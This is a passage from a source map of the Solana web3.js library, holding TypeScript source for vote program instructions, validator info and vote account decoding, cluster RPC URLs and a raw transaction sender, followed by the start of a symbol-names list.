toPubkey: PublicKey;\n};\n\n/**\n * Update validator identity (node pubkey) vote account instruction params.\n */\nexport type UpdateValidatorIdentityParams = {\n votePubkey: PublicKey;\n authorizedWithdrawerPubkey: PublicKey;\n nodePubkey: PublicKey;\n};\n\n/**\n * Vote Instruction class\n */\nexport class VoteInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a vote instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): VoteInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: VoteInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(VOTE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as VoteInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a VoteInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode an initialize vote instruction and retrieve the instruction params.\n */\n static decodeInitializeAccount(\n instruction: TransactionInstruction,\n ): InitializeAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 4);\n\n const {voteInit} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.InitializeAccount,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n nodePubkey: instruction.keys[3].pubkey,\n voteInit: new VoteInit(\n new PublicKey(voteInit.nodePubkey),\n new PublicKey(voteInit.authorizedVoter),\n new PublicKey(voteInit.authorizedWithdrawer),\n voteInit.commission,\n ),\n };\n }\n\n /**\n * Decode an authorize instruction and retrieve the instruction params.\n */\n static decodeAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeVoteParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {newAuthorized, voteAuthorizationType} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.Authorize,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n voteAuthorizationType: {\n index: voteAuthorizationType,\n },\n };\n }\n\n /**\n * Decode an authorize instruction and retrieve the instruction params.\n */\n static decodeAuthorizeWithSeed(\n instruction: TransactionInstruction,\n ): AuthorizeVoteWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {\n voteAuthorizeWithSeedArgs: {\n currentAuthorityDerivedKeyOwnerPubkey,\n currentAuthorityDerivedKeySeed,\n newAuthorized,\n voteAuthorizationType,\n },\n } = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed,\n instruction.data,\n );\n\n return {\n currentAuthorityDerivedKeyBasePubkey: instruction.keys[2].pubkey,\n currentAuthorityDerivedKeyOwnerPubkey: new PublicKey(\n currentAuthorityDerivedKeyOwnerPubkey,\n ),\n currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n voteAuthorizationType: {\n index: voteAuthorizationType,\n },\n votePubkey: instruction.keys[0].pubkey,\n };\n }\n\n /**\n * Decode a withdraw instruction and retrieve the instruction params.\n */\n static decodeWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawFromVoteAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {lamports} = decodeData(\n VOTE_INSTRUCTION_LAYOUTS.Withdraw,\n instruction.data,\n );\n\n return {\n votePubkey: instruction.keys[0].pubkey,\n authorizedWithdrawerPubkey: instruction.keys[2].pubkey,\n lamports,\n toPubkey: instruction.keys[1].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(VoteProgram.programId)) {\n throw new Error('invalid instruction; programId is not VoteProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid VoteInstructionType's\n */\nexport type VoteInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof VoteInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'Authorize'\n | 'AuthorizeWithSeed'\n | 'InitializeAccount'\n | 'Withdraw'\n | 'UpdateValidatorIdentity';\n\n/** @internal */\nexport type VoteAuthorizeWithSeedArgs = Readonly<{\n currentAuthorityDerivedKeyOwnerPubkey: Uint8Array;\n currentAuthorityDerivedKeySeed: string;\n newAuthorized: Uint8Array;\n voteAuthorizationType: number;\n}>;\ntype VoteInstructionInputData = {\n Authorize: IInstructionInputData & {\n newAuthorized: Uint8Array;\n voteAuthorizationType: number;\n };\n AuthorizeWithSeed: IInstructionInputData & {\n voteAuthorizeWithSeedArgs: VoteAuthorizeWithSeedArgs;\n };\n InitializeAccount: IInstructionInputData & {\n voteInit: Readonly<{\n authorizedVoter: Uint8Array;\n authorizedWithdrawer: Uint8Array;\n commission: number;\n nodePubkey: Uint8Array;\n }>;\n };\n Withdraw: IInstructionInputData & {\n lamports: number;\n };\n UpdateValidatorIdentity: IInstructionInputData;\n};\n\nconst VOTE_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in VoteInstructionType]: InstructionType<\n VoteInstructionInputData[Instruction]\n >;\n}>({\n InitializeAccount: {\n index: 0,\n layout: BufferLayout.struct<VoteInstructionInputData['InitializeAccount']>([\n BufferLayout.u32('instruction'),\n Layout.voteInit(),\n ]),\n },\n Authorize: {\n index: 1,\n layout: BufferLayout.struct<VoteInstructionInputData['Authorize']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('voteAuthorizationType'),\n ]),\n },\n Withdraw: {\n index: 3,\n layout: BufferLayout.struct<VoteInstructionInputData['Withdraw']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n UpdateValidatorIdentity: {\n index: 4,\n layout: BufferLayout.struct<\n VoteInstructionInputData['UpdateValidatorIdentity']\n >([BufferLayout.u32('instruction')]),\n },\n AuthorizeWithSeed: {\n index: 10,\n layout: BufferLayout.struct<VoteInstructionInputData['AuthorizeWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.voteAuthorizeWithSeedArgs(),\n ]),\n },\n});\n\n/**\n * VoteAuthorize type\n */\nexport type VoteAuthorizationType = {\n /** The VoteAuthorize index (from solana-vote-program) */\n index: number;\n};\n\n/**\n * An enumeration of valid VoteAuthorization layouts.\n */\nexport const VoteAuthorizationLayout = Object.freeze({\n Voter: {\n index: 0,\n },\n Withdrawer: {\n index: 1,\n },\n});\n\n/**\n * Factory class for transactions to interact with the Vote program\n */\nexport class VoteProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Vote program\n */\n static programId: PublicKey = new PublicKey(\n 'Vote111111111111111111111111111111111111111',\n );\n\n /**\n * Max space of a Vote account\n *\n * This is generated from the solana-vote-program VoteState struct as\n * `VoteState::size_of()`:\n * https://docs.rs/solana-vote-program/1.9.5/solana_vote_program/vote_state/struct.VoteState.html#method.size_of\n *\n * KEEP IN SYNC WITH `VoteState::size_of()` in https://github.com/solana-labs/solana/blob/a474cb24b9238f5edcc982f65c0b37d4a1046f7e/sdk/program/src/vote/state/mod.rs#L340-L342\n */\n static space: number = 3762;\n\n /**\n * Generate an Initialize instruction.\n */\n static initializeAccount(\n params: InitializeAccountParams,\n ): TransactionInstruction {\n const {votePubkey, nodePubkey, voteInit} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.InitializeAccount;\n const data = encodeData(type, {\n voteInit: {\n nodePubkey: toBuffer(voteInit.nodePubkey.toBuffer()),\n authorizedVoter: toBuffer(voteInit.authorizedVoter.toBuffer()),\n authorizedWithdrawer: toBuffer(\n voteInit.authorizedWithdrawer.toBuffer(),\n ),\n commission: voteInit.commission,\n },\n });\n const instructionData = {\n keys: [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: nodePubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a transaction that creates a new Vote account.\n */\n static createAccount(params: CreateVoteAccountParams): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.votePubkey,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n return transaction.add(\n this.initializeAccount({\n votePubkey: params.votePubkey,\n nodePubkey: params.voteInit.nodePubkey,\n voteInit: params.voteInit,\n }),\n );\n }\n\n /**\n * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account.\n */\n static authorize(params: AuthorizeVoteParams): Transaction {\n const {\n votePubkey,\n authorizedPubkey,\n newAuthorizedPubkey,\n voteAuthorizationType,\n } = params;\n\n const type = VOTE_INSTRUCTION_LAYOUTS.Authorize;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n voteAuthorizationType: voteAuthorizationType.index,\n });\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account\n * where the current Voter or Withdrawer authority is a derived key.\n */\n static authorizeWithSeed(params: AuthorizeVoteWithSeedParams): Transaction {\n const {\n currentAuthorityDerivedKeyBasePubkey,\n currentAuthorityDerivedKeyOwnerPubkey,\n currentAuthorityDerivedKeySeed,\n newAuthorizedPubkey,\n voteAuthorizationType,\n votePubkey,\n } = params;\n\n const type = VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed;\n const data = encodeData(type, {\n voteAuthorizeWithSeedArgs: {\n currentAuthorityDerivedKeyOwnerPubkey: toBuffer(\n currentAuthorityDerivedKeyOwnerPubkey.toBuffer(),\n ),\n currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed,\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n voteAuthorizationType: voteAuthorizationType.index,\n },\n });\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: currentAuthorityDerivedKeyBasePubkey,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction to withdraw from a Vote account.\n */\n static withdraw(params: WithdrawFromVoteAccountParams): Transaction {\n const {votePubkey, authorizedWithdrawerPubkey, lamports, toPubkey} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.Withdraw;\n const data = encodeData(type, {lamports});\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: toPubkey, isSigner: false, isWritable: true},\n {pubkey: authorizedWithdrawerPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction to withdraw safely from a Vote account.\n *\n * This function was created as a safeguard for vote accounts running validators, `safeWithdraw`\n * checks that the withdraw amount will not exceed the specified balance while leaving enough left\n * to cover rent. If you wish to close the vote account by withdrawing the full amount, call the\n * `withdraw` method directly.\n */\n static safeWithdraw(\n params: WithdrawFromVoteAccountParams,\n currentVoteAccountBalance: number,\n rentExemptMinimum: number,\n ): Transaction {\n if (params.lamports > currentVoteAccountBalance - rentExemptMinimum) {\n throw new Error(\n 'Withdraw will leave vote account with insufficient funds.',\n );\n }\n return VoteProgram.withdraw(params);\n }\n\n /**\n * Generate a transaction to update the validator identity (node pubkey) of a Vote account.\n */\n static updateValidatorIdentity(\n params: UpdateValidatorIdentityParams,\n ): Transaction {\n const {votePubkey, authorizedWithdrawerPubkey, nodePubkey} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.UpdateValidatorIdentity;\n const data = encodeData(type);\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: nodePubkey, isSigner: true, isWritable: false},\n {pubkey: authorizedWithdrawerPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport {\n assert as assertType,\n optional,\n string,\n type as pick,\n} from 'superstruct';\n\nimport * as Layout from './layout';\nimport * as shortvec from './utils/shortvec-encoding';\nimport {PublicKey, PUBLIC_KEY_LENGTH} from './publickey';\nimport {guardedShift, guardedSplice} from './utils/guarded-array-utils';\n\nexport const VALIDATOR_INFO_KEY = new PublicKey(\n 'Va1idator1nfo111111111111111111111111111111',\n);\n\n/**\n * @internal\n */\ntype ConfigKey = {\n publicKey: PublicKey;\n isSigner: boolean;\n};\n\n/**\n * Info used to identity validators.\n */\nexport type Info = {\n /** validator name */\n name: string;\n /** optional, validator website */\n website?: string;\n /** optional, extra information the validator chose to share */\n details?: string;\n /** optional, validator logo URL */\n iconUrl?: string;\n /** optional, used to identify validators on keybase.io */\n keybaseUsername?: string;\n};\n\nconst InfoString = pick({\n name: string(),\n website: optional(string()),\n details: optional(string()),\n iconUrl: optional(string()),\n keybaseUsername: optional(string()),\n});\n\n/**\n * ValidatorInfo class\n */\nexport class ValidatorInfo {\n /**\n * validator public key\n */\n key: PublicKey;\n /**\n * validator information\n */\n info: Info;\n\n /**\n * Construct a valid ValidatorInfo\n *\n * @param key validator public key\n * @param info validator information\n */\n constructor(key: PublicKey, info: Info) {\n this.key = key;\n this.info = info;\n }\n\n /**\n * Deserialize ValidatorInfo from the config account data. Exactly two config\n * keys are required in the data.\n *\n * @param buffer config account data\n * @return null if info was not found\n */\n static fromConfigData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): ValidatorInfo | null {\n let byteArray = [...buffer];\n const configKeyCount = shortvec.decodeLength(byteArray);\n if (configKeyCount !== 2) return null;\n\n const configKeys: Array<ConfigKey> = [];\n for (let i = 0; i < 2; i++) {\n const publicKey = new PublicKey(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n const isSigner = guardedShift(byteArray) === 1;\n configKeys.push({publicKey, isSigner});\n }\n\n if (configKeys[0].publicKey.equals(VALIDATOR_INFO_KEY)) {\n if (configKeys[1].isSigner) {\n const rawInfo: any = Layout.rustString().decode(Buffer.from(byteArray));\n const info = JSON.parse(rawInfo as string);\n assertType(info, InfoString);\n return new ValidatorInfo(configKeys[1].publicKey, info);\n }\n }\n\n return null;\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\nimport type {Buffer} from 'buffer';\n\nimport * as Layout from './layout';\nimport {PublicKey} from './publickey';\nimport {toBuffer} from './utils/to-buffer';\n\nexport const VOTE_PROGRAM_ID = new PublicKey(\n 'Vote111111111111111111111111111111111111111',\n);\n\nexport type Lockout = {\n slot: number;\n confirmationCount: number;\n};\n\n/**\n * History of how many credits earned by the end of each epoch\n */\nexport type EpochCredits = Readonly<{\n epoch: number;\n credits: number;\n prevCredits: number;\n}>;\n\nexport type AuthorizedVoter = Readonly<{\n epoch: number;\n authorizedVoter: PublicKey;\n}>;\n\ntype AuthorizedVoterRaw = Readonly<{\n authorizedVoter: Uint8Array;\n epoch: number;\n}>;\n\ntype PriorVoters = Readonly<{\n buf: PriorVoterRaw[];\n idx: number;\n isEmpty: number;\n}>;\n\nexport type PriorVoter = Readonly<{\n authorizedPubkey: PublicKey;\n epochOfLastAuthorizedSwitch: number;\n targetEpoch: number;\n}>;\n\ntype PriorVoterRaw = Readonly<{\n authorizedPubkey: Uint8Array;\n epochOfLastAuthorizedSwitch: number;\n targetEpoch: number;\n}>;\n\nexport type BlockTimestamp = Readonly<{\n slot: number;\n timestamp: number;\n}>;\n\ntype VoteAccountData = Readonly<{\n authorizedVoters: AuthorizedVoterRaw[];\n authorizedWithdrawer: Uint8Array;\n commission: number;\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n nodePubkey: Uint8Array;\n priorVoters: PriorVoters;\n rootSlot: number;\n rootSlotValid: number;\n votes: Lockout[];\n}>;\n\n/**\n * See https://github.com/solana-labs/solana/blob/8a12ed029cfa38d4a45400916c2463fb82bbec8c/programs/vote_api/src/vote_state.rs#L68-L88\n *\n * @internal\n */\nconst VoteAccountLayout = BufferLayout.struct<VoteAccountData>([\n Layout.publicKey('nodePubkey'),\n Layout.publicKey('authorizedWithdrawer'),\n BufferLayout.u8('commission'),\n BufferLayout.nu64(), // votes.length\n BufferLayout.seq<Lockout>(\n BufferLayout.struct([\n BufferLayout.nu64('slot'),\n BufferLayout.u32('confirmationCount'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'votes',\n ),\n BufferLayout.u8('rootSlotValid'),\n BufferLayout.nu64('rootSlot'),\n BufferLayout.nu64(), // authorizedVoters.length\n BufferLayout.seq<AuthorizedVoterRaw>(\n BufferLayout.struct([\n BufferLayout.nu64('epoch'),\n Layout.publicKey('authorizedVoter'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'authorizedVoters',\n ),\n BufferLayout.struct<PriorVoters>(\n [\n BufferLayout.seq(\n BufferLayout.struct([\n Layout.publicKey('authorizedPubkey'),\n BufferLayout.nu64('epochOfLastAuthorizedSwitch'),\n BufferLayout.nu64('targetEpoch'),\n ]),\n 32,\n 'buf',\n ),\n BufferLayout.nu64('idx'),\n BufferLayout.u8('isEmpty'),\n ],\n 'priorVoters',\n ),\n BufferLayout.nu64(), // epochCredits.length\n BufferLayout.seq<EpochCredits>(\n BufferLayout.struct([\n BufferLayout.nu64('epoch'),\n BufferLayout.nu64('credits'),\n BufferLayout.nu64('prevCredits'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'epochCredits',\n ),\n BufferLayout.struct<BlockTimestamp>(\n [BufferLayout.nu64('slot'), BufferLayout.nu64('timestamp')],\n 'lastTimestamp',\n ),\n]);\n\ntype VoteAccountArgs = {\n nodePubkey: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number;\n rootSlot: number | null;\n votes: Lockout[];\n authorizedVoters: AuthorizedVoter[];\n priorVoters: PriorVoter[];\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n};\n\n/**\n * VoteAccount class\n */\nexport class VoteAccount {\n nodePubkey: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number;\n rootSlot: number | null;\n votes: Lockout[];\n authorizedVoters: AuthorizedVoter[];\n priorVoters: PriorVoter[];\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n\n /**\n * @internal\n */\n constructor(args: VoteAccountArgs) {\n this.nodePubkey = args.nodePubkey;\n this.authorizedWithdrawer = args.authorizedWithdrawer;\n this.commission = args.commission;\n this.rootSlot = args.rootSlot;\n this.votes = args.votes;\n this.authorizedVoters = args.authorizedVoters;\n this.priorVoters = args.priorVoters;\n this.epochCredits = args.epochCredits;\n this.lastTimestamp = args.lastTimestamp;\n }\n\n /**\n * Deserialize VoteAccount from the account data.\n *\n * @param buffer account data\n * @return VoteAccount\n */\n static fromAccountData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): VoteAccount {\n const versionOffset = 4;\n const va = VoteAccountLayout.decode(toBuffer(buffer), versionOffset);\n\n let rootSlot: number | null = va.rootSlot;\n if (!va.rootSlotValid) {\n rootSlot = null;\n }\n\n return new VoteAccount({\n nodePubkey: new PublicKey(va.nodePubkey),\n authorizedWithdrawer: new PublicKey(va.authorizedWithdrawer),\n commission: va.commission,\n votes: va.votes,\n rootSlot,\n authorizedVoters: va.authorizedVoters.map(parseAuthorizedVoter),\n priorVoters: getPriorVoters(va.priorVoters),\n epochCredits: va.epochCredits,\n lastTimestamp: va.lastTimestamp,\n });\n }\n}\n\nfunction parseAuthorizedVoter({\n authorizedVoter,\n epoch,\n}: AuthorizedVoterRaw): AuthorizedVoter {\n return {\n epoch,\n authorizedVoter: new PublicKey(authorizedVoter),\n };\n}\n\nfunction parsePriorVoters({\n authorizedPubkey,\n epochOfLastAuthorizedSwitch,\n targetEpoch,\n}: PriorVoterRaw): PriorVoter {\n return {\n authorizedPubkey: new PublicKey(authorizedPubkey),\n epochOfLastAuthorizedSwitch,\n targetEpoch,\n };\n}\n\nfunction getPriorVoters({buf, idx, isEmpty}: PriorVoters): PriorVoter[] {\n if (isEmpty) {\n return [];\n }\n\n return [\n ...buf.slice(idx + 1).map(parsePriorVoters),\n ...buf.slice(0, idx).map(parsePriorVoters),\n ];\n}\n","const endpoint = {\n http: {\n devnet: 'http://api.devnet.solana.com',\n testnet: 'http://api.testnet.solana.com',\n 'mainnet-beta': 'http://api.mainnet-beta.solana.com/',\n },\n https: {\n devnet: 'https://api.devnet.solana.com',\n testnet: 'https://api.testnet.solana.com',\n 'mainnet-beta': 'https://api.mainnet-beta.solana.com/',\n },\n};\n\nexport type Cluster = 'devnet' | 'testnet' | 'mainnet-beta';\n\n/**\n * Retrieves the RPC API URL for the specified cluster\n * @param {Cluster} [cluster=\"devnet\"] - The cluster name of the RPC API URL to use. Possible options: 'devnet' | 'testnet' | 'mainnet-beta'\n * @param {boolean} [tls=\"http\"] - Use TLS when connecting to cluster.\n *\n * @returns {string} URL string of the RPC endpoint\n */\nexport function clusterApiUrl(cluster?: Cluster, tls?: boolean): string {\n const key = tls === false ? 'http' : 'https';\n\n if (!cluster) {\n return endpoint[key]['devnet'];\n }\n\n const url = endpoint[key][cluster];\n if (!url) {\n throw new Error(`Unknown ${key} cluster: ${cluster}`);\n }\n return url;\n}\n","import type {Buffer} from 'buffer';\n\nimport {\n BlockheightBasedTransactionConfirmationStrategy,\n Connection,\n DurableNonceTransactionConfirmationStrategy,\n TransactionConfirmationStrategy,\n} from '../connection';\nimport type {TransactionSignature} from '../transaction';\nimport type {ConfirmOptions} from '../connection';\nimport {SendTransactionError} from '../errors';\n\n/**\n * Send and confirm a raw transaction\n *\n * If `commitment` option is not specified, defaults to 'max' commitment.\n *\n * @param {Connection} connection\n * @param {Buffer} rawTransaction\n * @param {TransactionConfirmationStrategy} confirmationStrategy\n * @param {ConfirmOptions} [options]\n * @returns {Promise<TransactionSignature>}\n */\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n confirmationStrategy: TransactionConfirmationStrategy,\n options?: ConfirmOptions,\n): Promise<TransactionSignature>;\n\n/**\n * @deprecated Calling `sendAndConfirmRawTransaction()` without a `confirmationStrategy`\n * is no longer supported and will be removed in a future version.\n */\n// eslint-disable-next-line no-redeclare\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n options?: ConfirmOptions,\n): Promise<TransactionSignature>;\n\n// eslint-disable-next-line no-redeclare\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n confirmationStrategyOrConfirmOptions:\n | TransactionConfirmationStrategy\n | ConfirmOptions\n | undefined,\n maybeConfirmOptions?: ConfirmOptions,\n): Promise<TransactionSignature> {\n let confirmationStrategy: TransactionConfirmationStrategy | undefined;\n let options: ConfirmOptions | undefined;\n if (\n confirmationStrategyOrConfirmOptions &&\n Object.prototype.hasOwnProperty.call(\n confirmationStrategyOrConfirmOptions,\n 'lastValidBlockHeight',\n )\n ) {\n confirmationStrategy =\n confirmationStrategyOrConfirmOptions as BlockheightBasedTransactionConfirmationStrategy;\n options = maybeConfirmOptions;\n } else if (\n confirmationStrategyOrConfirmOptions &&\n Object.prototype.hasOwnProperty.call(\n confirmationStrategyOrConfirmOptions,\n 'nonceValue',\n )\n ) {\n confirmationStrategy =\n confirmationStrategyOrConfirmOptions as DurableNonceTransactionConfirmationStrategy;\n options = maybeConfirmOptions;\n } else {\n options = confirmationStrategyOrConfirmOptions as\n | ConfirmOptions\n | undefined;\n }\n const sendOptions = options && {\n skipPreflight: options.skipPreflight,\n preflightCommitment: options.preflightCommitment || options.commitment,\n minContextSlot: options.minContextSlot,\n };\n\n const signature = await connection.sendRawTransaction(\n rawTransaction,\n sendOptions,\n );\n\n const commitment = options && options.commitment;\n const confirmationPromise = confirmationStrategy\n ? connection.confirmTransaction(confirmationStrategy, commitment)\n : connection.confirmTransaction(signature, commitment);\n const status = (await confirmationPromise).value;\n\n if (status.err) {\n if (signature != null) {\n throw new SendTransactionError({\n action: sendOptions?.skipPreflight ? 'send' : 'simulate',\n signature: signature,\n transactionMessage: `Status: (${JSON.stringify(status)})`,\n });\n }\n throw new Error(\n `Raw transaction ${signature} failed (${JSON.stringify(status)})`,\n );\n }\n\n return signature;\n}\n","export * from './account';\nexport * from './blockhash';\nexport * from './bpf-loader-deprecated';\nexport * from './bpf-loader';\nexport * from './connection';\nexport * from './epoch-schedule';\nexport * from './errors';\nexport * from './fee-calculator';\nexport * from './keypair';\nexport * from './loader';\nexport * from './message';\nexport * from './nonce-account';\nexport * from './programs';\nexport * from './publickey';\nexport * from './transaction';\nexport * from './validator-info';\nexport * from './vote-account';\nexport * from './sysvar';\nexport * from './utils';\n\n/**\n * There are 1-billion lamports in one SOL\n */\nexport const LAMPORTS_PER_SOL = 1000000000;\n"],"names":["generatePrivateKey","ed25519","utils","randomPrivateKey","generateKeypair","privateScalar","publicKey","getPublicKey","secretKey","Uint8Array","set","isOnCurve","ExtendedPoint","fromHex","sign","message","slice","verify","toBuffer","arr","Buffer","isBuffer","from","buffer","byteOffset","byteLength","Struct","constructor","properties","Object","assign","encode","serialize","SOLANA_SCHEMA","decode","data","deserialize","decodeUnchecked","deserializeUnchecked","Enum","enum","keys","length","Error","map","key","Map","MAX_SEED_LENGTH","PUBLIC_KEY_LENGTH","isPublicKeyData","value","_bn","undefined","uniquePublicKeyCounter","PublicKey","decoded","bs58","BN","unique","equals","eq","toBase58","toBytes","toJSON","buf","b","toArrayLike","zeroPad","alloc","copy","Symbol","toStringTag","toString","createWithSeed","fromPublicKey","seed","programId","concat","publicKeyBytes","sha256","createProgramAddressSync","seeds","forEach","TypeError","createProgramAddress","findProgramAddressSync","nonce","address","seedsWithNonce","err","findProgramAddress","pubkeyData","pubkey","_PublicKey","default","kind","fields","PACKET_DATA_SIZE","VERSION_PREFIX_MASK","SIGNATURE_LENGTH_IN_BYTES","TransactionExpiredBlockheightExceededError","signature","defineProperty","prototype","TransactionExpiredTimeoutError","timeoutSeconds","toFixed","TransactionExpiredNonceInvalidError","MessageAccountKeys","staticAccountKeys","accountKeysFromLookups","keySegments","push","writable","readonly","get","index","keySegment","flat","compileInstructions","instructions","U8_MAX","keyIndexMap","findKeyIndex","keyIndex","instruction","programIdIndex","accountKeyIndexes","meta","property","BufferLayout","blob","rustString","rsl","struct","u32","offset","_decode","bind","_encode","rslShim","str","chars","span","authorized","lockup","ns64","voteInit","u8","voteAuthorizeWithSeedArgs","getAlloc","type","getItemAlloc","item","field","Array","isArray","elementLayout","layout","decodeLength","bytes","len","size","elem","shift","encodeLength","rem_len","condition","CompiledKeys","payer","keyMetaMap","compile","getOrInsertDefault","keyMeta","isSigner","isWritable","isInvoked","payerKeyMeta","ix","accountMeta","getMessageComponents","mapEntries","entries","assert","writableSigners","filter","readonlySigners","writableNonSigners","readonlyNonSigners","header","numRequiredSignatures","numReadonlySignedAccounts","numReadonlyUnsignedAccounts","payerAddress","extractTableLookup","lookupTable","writableIndexes","drainedWritableKeys","drainKeysFoundInLookupTable","state","addresses","readonlyIndexes","drainedReadonlyKeys","accountKey","lookupTableEntries","keyMetaFilter","lookupTableIndexes","drainedKeys","lookupTableIndex","findIndex","entry","delete","END_OF_BUFFER_ERROR_MESSAGE","guardedShift","byteArray","guardedSplice","args","start","splice","Message","accountKeys","recentBlockhash","indexToProgramIds","account","version","compiledInstructions","accounts","addressTableLookups","getAccountKeys","compiledKeys","payerKey","isAccountSigner","isAccountWritable","numSignedAccounts","unsignedAccountIndex","numUnsignedAccounts","numWritableUnsignedAccounts","numWritableSignedAccounts","isProgramId","has","programIds","values","nonProgramIds","_","numKeys","keyCount","shortvec","keyIndicesCount","dataCount","keyIndices","dataLength","instructionCount","instructionBuffer","instructionBufferLength","instructionLayout","seq","signDataLayout","Layout","transaction","signData","accountCount","i","dataSlice","messageArgs","MessageV0","numAccountKeysFromLookups","count","lookup","addressLookupTableAccounts","resolveAddressTableLookups","numStaticAccountKeys","lookupAccountKeysIndex","numWritableLookupAccountKeys","reduce","tableLookup","tableAccount","find","lookupTableAccounts","extractResult","addressTableLookup","encodedStaticAccountKeysLength","serializedInstructions","serializeInstructions","encodedInstructionsLength","serializedAddressTableLookups","serializeAddressTableLookups","encodedAddressTableLookupsLength","messageLayout","serializedMessage","MESSAGE_VERSION_0_PREFIX","serializedMessageLength","prefix","staticAccountKeysLength","instructionsLength","addressTableLookupsLength","serializedLength","encodedAccountKeyIndexesLength","encodedDataLength","encodedWritableIndexesLength","encodedReadonlyIndexesLength","addressTableLookupLayout","maskedPrefix","accountKeyIndexesLength","addressTableLookupsCount","writableIndexesLength","readonlyIndexesLength","VersionedMessage","deserializeMessageVersion","TransactionStatus","DEFAULT_SIGNATURE","fill","TransactionInstruction","opts","Transaction","signatures","feePayer","lastValidBlockHeight","nonceInfo","minNonceCont